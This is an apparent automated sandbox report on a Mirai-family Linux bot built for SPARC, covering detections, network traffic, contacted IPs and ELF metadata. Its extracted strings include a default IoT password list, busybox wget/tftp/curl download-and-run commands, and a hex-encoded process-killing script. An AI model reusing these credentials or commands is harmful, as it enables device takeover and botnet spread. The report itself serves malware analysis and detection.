Edit tour

Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name:	la.bot.sparc.elf
Analysis ID:	1537583
MD5:	ae156594e5ef91c243fcc1aeddd238fd
SHA1:	e6b3a0c03e3ab0f8e63148bf3f320ba589d76e22
SHA256:	822f3f8c5b1e8f1a1068783d5b888ac09eee82a2e657784ee47a672538787397
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1537583
Start date and time:	2024-10-19 08:26:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.sparc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@10/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100
VT rate limit hit for: la.bot.sparc.elf

Runtime Messages

Command:	/tmp/la.bot.sparc.elf
PID:	6205
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	thIs wEek on xLaB lEarNs nOthinG xd
Standard Error:

Process Tree

system is lnxubuntu20

la.bot.sparc.elf (PID: 6205, Parent: 6126, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/la.bot.sparc.elf

la.bot.sparc.elf New Fork (PID: 6207, Parent: 6205)

la.bot.sparc.elf New Fork (PID: 6236, Parent: 6205)

la.bot.sparc.elf New Fork (PID: 6239, Parent: 6236)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: la.bot.sparc.elf

ReversingLabs: Detection: 34%

Source: la.bot.sparc.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate
Source: la.bot.sparc.elf	String: /proc//exe\|ash\|login\|wget\|curl\|tftp\|ntpdate/fd/dev/null\|/dev/consolesocket\|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/self/exe/. /proc//proc/maps/lib//dev/watchdog/dev/misc/watchdog
Source: la.bot.sparc.elf	String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 103.253.147.242 ports 1,5,7,8,9,15987

Sends malformed DNS queries

Source: global traffic	DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: f.codingdrunk. . [malformed]

Source: global traffic

TCP traffic: 192.168.2.23:40582 -> 103.253.147.242:15987

Source: /tmp/la.bot.sparc.elf (PID: 6205)

Socket: 127.0.0.1:1234

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 212.60.241.54
Source: unknown	TCP traffic detected without corresponding DNS query: 102.59.196.239
Source: unknown	TCP traffic detected without corresponding DNS query: 212.60.241.54
Source: unknown	TCP traffic detected without corresponding DNS query: 102.59.196.239
Source: unknown	TCP traffic detected without corresponding DNS query: 56.190.0.9
Source: unknown	TCP traffic detected without corresponding DNS query: 56.190.0.9
Source: unknown	TCP traffic detected without corresponding DNS query: 6.39.161.46
Source: unknown	TCP traffic detected without corresponding DNS query: 67.140.40.248
Source: unknown	TCP traffic detected without corresponding DNS query: 4.225.252.245
Source: unknown	TCP traffic detected without corresponding DNS query: 6.39.161.46
Source: unknown	TCP traffic detected without corresponding DNS query: 67.140.40.248
Source: unknown	TCP traffic detected without corresponding DNS query: 4.225.252.245
Source: unknown	TCP traffic detected without corresponding DNS query: 18.75.136.102
Source: unknown	TCP traffic detected without corresponding DNS query: 130.38.124.234
Source: unknown	TCP traffic detected without corresponding DNS query: 18.75.136.102
Source: unknown	TCP traffic detected without corresponding DNS query: 24.129.205.135
Source: unknown	TCP traffic detected without corresponding DNS query: 130.38.124.234
Source: unknown	TCP traffic detected without corresponding DNS query: 24.129.205.135
Source: unknown	TCP traffic detected without corresponding DNS query: 130.38.124.234
Source: unknown	TCP traffic detected without corresponding DNS query: 18.75.136.102
Source: unknown	TCP traffic detected without corresponding DNS query: 187.80.117.228
Source: unknown	TCP traffic detected without corresponding DNS query: 99.98.166.122
Source: unknown	TCP traffic detected without corresponding DNS query: 187.80.117.228
Source: unknown	TCP traffic detected without corresponding DNS query: 201.80.19.175
Source: unknown	TCP traffic detected without corresponding DNS query: 99.98.166.122
Source: unknown	TCP traffic detected without corresponding DNS query: 212.71.174.89
Source: unknown	TCP traffic detected without corresponding DNS query: 201.80.19.175
Source: unknown	TCP traffic detected without corresponding DNS query: 60.33.9.231
Source: unknown	TCP traffic detected without corresponding DNS query: 212.71.174.89
Source: unknown	TCP traffic detected without corresponding DNS query: 83.165.194.42
Source: unknown	TCP traffic detected without corresponding DNS query: 60.33.9.231
Source: unknown	TCP traffic detected without corresponding DNS query: 187.80.117.228
Source: unknown	TCP traffic detected without corresponding DNS query: 201.80.19.175
Source: unknown	TCP traffic detected without corresponding DNS query: 99.98.166.122
Source: unknown	TCP traffic detected without corresponding DNS query: 184.216.150.17
Source: unknown	TCP traffic detected without corresponding DNS query: 83.165.194.42
Source: unknown	TCP traffic detected without corresponding DNS query: 212.71.174.89
Source: unknown	TCP traffic detected without corresponding DNS query: 34.82.92.33
Source: unknown	TCP traffic detected without corresponding DNS query: 184.216.150.17
Source: unknown	TCP traffic detected without corresponding DNS query: 60.33.9.231
Source: unknown	TCP traffic detected without corresponding DNS query: 202.75.255.117
Source: unknown	TCP traffic detected without corresponding DNS query: 34.82.92.33
Source: unknown	TCP traffic detected without corresponding DNS query: 46.43.253.210
Source: unknown	TCP traffic detected without corresponding DNS query: 83.165.194.42
Source: unknown	TCP traffic detected without corresponding DNS query: 202.75.255.117
Source: unknown	TCP traffic detected without corresponding DNS query: 104.105.120.166
Source: unknown	TCP traffic detected without corresponding DNS query: 34.82.92.33
Source: unknown	TCP traffic detected without corresponding DNS query: 46.43.253.210
Source: unknown	TCP traffic detected without corresponding DNS query: 104.105.120.166

Source: global traffic	DNS traffic detected: DNS query: 21savage.dyn
Source: global traffic	DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: f.codingdrunk. . [malformed]

Source: la.bot.sparc.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample	String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@10/0

Source: /tmp/la.bot.sparc.elf (PID: 6205)

Queries kernel information via 'uname':

Source: la.bot.sparc.elf, 6205.1.00007fff45e98000.00007fff45eb9000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 6205.1.00005597bd8b0000.00005597bd93b000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6205.1.00005597bd8b0000.00005597bd93b000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6205.1.00007fff45e98000.00007fff45eb9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
la.bot.sparc.elf	34%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
21savage.dyn	156.244.19.135	true	false	unknown
eighteen.pirate. [malformed]	unknown	unknown	true	unknown
fortyfivehundred.dyn. [malformed]	unknown	unknown	true	unknown
f.codingdrunk. . [malformed]	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.sparc.elf	false		unknown
http:///curl.sh	la.bot.sparc.elf	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
211.168.94.59	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
42.80.179.1	unknown	China	17638	CHINATELECOM-TJ-AS-APASNforTIANJINProvincialNetofCT	false
216.61.140.14	unknown	United States	7018	ATT-INTERNET4US	false
32.38.104.224	unknown	United States	2686	ATGS-MMD-ASUS	false
153.103.159.78	unknown	United States	1519	DNIC-AS-01519US	false
40.154.161.227	unknown	United States	4249	LILLY-ASUS	false
93.3.135.121	unknown	France	15557	LDCOMNETFR	false
97.175.248.242	unknown	United States	6167	CELLCO-PARTUS	false
190.19.60.246	unknown	Argentina	10318	TelecomArgentinaSAAR	false
67.75.143.134	unknown	United States	3549	LVLT-3549US	false
38.182.55.169	unknown	United States	174	COGENT-174US	false
195.143.26.185	unknown	United Kingdom	8928	INTEROUTE25CanadaSquareCanaryWharf31stFloorGB	false
122.252.150.28	unknown	Australia	17918	AC3-AS-APac3AustralianCentreforAdvancedComputingand	false
205.95.149.25	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
172.64.209.7	unknown	United States	13335	CLOUDFLARENETUS	false
67.97.52.106	unknown	United States	6977	IAC-ASUS	false
179.105.195.253	unknown	Brazil	28573	CLAROSABR	false
43.72.210.0	unknown	Japan	4249	LILLY-ASUS	false
202.187.175.215	unknown	Malaysia	9930	TTNET-MYTIMEdotComBerhadMY	false
4.17.92.81	unknown	United States	3356	LEVEL3US	false
185.102.172.167	unknown	Netherlands	7922	COMCAST-7922US	false
137.40.151.154	unknown	Japan	721	DNIC-ASBLK-00721-00726US	false
182.40.122.50	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
97.0.183.61	unknown	United States	22394	CELLCOUS	false
177.172.239.110	unknown	Brazil	26599	TELEFONICABRASILSABR	false
202.240.57.130	unknown	Japan	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
60.68.83.129	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
123.7.103.195	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
91.72.131.151	unknown	United Arab Emirates	15802	DU-AS1AE	false
22.204.37.88	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
6.69.199.126	unknown	United States	1479	DNIC-ASBLK-01478-01479US	false
46.217.99.42	unknown	Macedonia	6821	MT-AS-OWNbulOrceNikolovbbMK	false
1.253.60.24	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
67.19.213.165	unknown	United States	36351	SOFTLAYERUS	false
65.90.47.122	unknown	United States	3356	LEVEL3US	false
44.221.119.232	unknown	United States	14618	AMAZON-AESUS	false
90.133.141.31	unknown	Sweden	39651	COMHEM-SWEDENSE	false
179.129.143.179	unknown	Brazil	26599	TELEFONICABRASILSABR	false
197.211.66.58	unknown	South Africa	29918	IMPOL-ASNZA	false
162.212.106.109	unknown	United States	46887	LIGHTOWERUS	false
108.60.223.136	unknown	United States	13354	ZC38-AS1US	false
85.218.82.228	unknown	Switzerland	34781	SIL-CITYCABLE-ASCH	false
77.7.8.13	unknown	Germany	6805	TDDE-ASN1DE	false
163.71.42.69	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
46.81.62.28	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
28.171.133.129	unknown	United States	7922	COMCAST-7922US	false
48.134.243.4	unknown	United States	2686	ATGS-MMD-ASUS	false
18.122.71.167	unknown	United States	3	MIT-GATEWAYSUS	false
102.234.29.246	unknown	unknown	36926	CKL1-ASNKE	false
190.112.213.122	unknown	Paraguay	263228	PLANETSAPY	false
133.34.181.229	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
162.66.100.20	unknown	United States	35893	ACPCA	false
150.167.212.135	unknown	United States	2572	MORENETUS	false
103.170.35.86	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
95.217.66.145	unknown	Germany	24940	HETZNER-ASDE	false
196.9.233.51	unknown	South Africa	21491	UGANDA-TELECOMUgandaTelecomUG	false
45.93.168.244	unknown	Iran (ISLAMIC Republic Of)	57497	FARASOSAMANEHPASARGADIR	false
147.107.249.251	unknown	United States	19096	DESALES-NETWORKUS	false
178.105.99.77	unknown	United Kingdom	12576	EELtdGB	false
131.183.22.32	unknown	United States	2025	UTOLEDOUS	false
51.213.29.139	unknown	United States	2686	ATGS-MMD-ASUS	false
46.169.96.219	unknown	Poland	8374	PLUSNETPlusnetworkoperatorinPolandPL	false
56.170.248.182	unknown	United States	2686	ATGS-MMD-ASUS	false
192.204.218.202	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
84.209.102.235	unknown	Norway	41164	GET-NOGETNorwayNO	false
133.245.237.28	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
166.91.30.33	unknown	United States	33084	DC-NETUS	false
49.73.162.56	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
140.7.152.235	unknown	United States	668	DNIC-AS-00668US	false
25.61.184.25	unknown	United Kingdom	7922	COMCAST-7922US	false
200.103.220.3	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
195.94.17.148	unknown	Yemen	12486	TELEYEMENSanaaYE	false
200.175.108.154	unknown	Brazil	18881	TELEFONICABRASILSABR	false
199.175.181.111	unknown	Canada	852	ASN852CA	false
5.11.138.251	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
68.15.246.60	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
174.15.56.77	unknown	United States	6327	SHAWCA	false
86.21.69.110	unknown	United Kingdom	5089	NTLGB	false
133.3.69.48	unknown	Japan	2504	NCA5KyotoUniversityJP	false
68.12.58.210	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
143.0.200.132	unknown	Brazil	264001	GENESYSNETPROVEDORDEINTERNETLTDAMEBR	false
206.26.161.121	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
194.16.168.72	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
53.50.228.118	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
39.106.194.223	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
191.219.7.134	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
189.112.150.130	unknown	Brazil	16735	ALGARTELECOMSABR	false
193.48.240.31	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
205.23.44.30	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
115.132.43.44	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
96.202.31.14	unknown	United States	7922	COMCAST-7922US	false
85.216.185.176	unknown	Slovakia (SLOVAK Republic)	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
104.108.196.84	unknown	United States	9498	BBIL-APBHARTIAirtelLtdIN	false
214.223.82.71	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
52.161.161.121	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
180.146.247.79	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
112.229.41.51	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
102.38.52.92	unknown	South Africa	328529	Zoom-NetworksZA	false
64.219.130.100	unknown	United States	7018	ATT-INTERNET4US	false
202.120.138.175	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.989494135928699
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.sparc.elf
File size:	76'024 bytes
MD5:	ae156594e5ef91c243fcc1aeddd238fd
SHA1:	e6b3a0c03e3ab0f8e63148bf3f320ba589d76e22
SHA256:	822f3f8c5b1e8f1a1068783d5b888ac09eee82a2e657784ee47a672538787397
SHA512:	0834aae295ef1b05f3eb69413e504784ddc34524fdca750ba92c2a25b3447465c7a21a58458f95711726cb033262e02134c67ccc547b20c1fc1b6059366f179a
SSDEEP:	1536:748a06AW5bWGJZtRUQLQfzJTnu2dabHM/47nfOiUpdxl4HFsD0:FxTnu44nSd8Hl
TLSH:	EA735A267A746D2BC8C8583E61B74776F1F5274A20E8C61F7E321F8EFB60540660B6B4
File Content Preview:	.ELF...........................4..'h.....4. ...(......................$8..$8..............$<..$<..$<......E.........dt.Q................................@..(....@.?.................#.....c(..`.....!..... T..@.....".........`......$ T.. T..@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	75624
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xff3c	0x0	0x6	AX	4
.fini	PROGBITS	0x1ffec	0xffec	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x20000	0x10000	0x2438	0x0	0x2	A	8
.ctors	PROGBITS	0x3243c	0x1243c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x32444	0x12444	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x32450	0x12450	0x2d8	0x0	0x3	WA	8
.bss	NOBITS	0x32728	0x12728	0x42a8	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x12728	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x12438	0x12438	6.0114	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1243c	0x3243c	0x3243c	0x2ec	0x4594	3.6236	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 19, 2024 08:27:17.538772106 CEST	43928	443	192.168.2.23	91.189.91.42
Oct 19, 2024 08:27:18.777184963 CEST	52876	23	192.168.2.23	212.60.241.54
Oct 19, 2024 08:27:18.779196978 CEST	38464	23	192.168.2.23	102.59.196.239
Oct 19, 2024 08:27:18.781918049 CEST	23	52876	212.60.241.54	192.168.2.23
Oct 19, 2024 08:27:18.781990051 CEST	52876	23	192.168.2.23	212.60.241.54
Oct 19, 2024 08:27:18.784023046 CEST	23	38464	102.59.196.239	192.168.2.23
Oct 19, 2024 08:27:18.784070969 CEST	38464	23	192.168.2.23	102.59.196.239
Oct 19, 2024 08:27:18.794024944 CEST	60696	23	192.168.2.23	56.190.0.9
Oct 19, 2024 08:27:18.798811913 CEST	23	60696	56.190.0.9	192.168.2.23
Oct 19, 2024 08:27:18.798867941 CEST	60696	23	192.168.2.23	56.190.0.9
Oct 19, 2024 08:27:18.800856113 CEST	33388	23	192.168.2.23	6.39.161.46
Oct 19, 2024 08:27:18.803831100 CEST	56774	23	192.168.2.23	67.140.40.248
Oct 19, 2024 08:27:18.804754019 CEST	54170	23	192.168.2.23	4.225.252.245
Oct 19, 2024 08:27:18.805733919 CEST	23	33388	6.39.161.46	192.168.2.23
Oct 19, 2024 08:27:18.805773973 CEST	33388	23	192.168.2.23	6.39.161.46
Oct 19, 2024 08:27:18.808676004 CEST	23	56774	67.140.40.248	192.168.2.23
Oct 19, 2024 08:27:18.808729887 CEST	56774	23	192.168.2.23	67.140.40.248
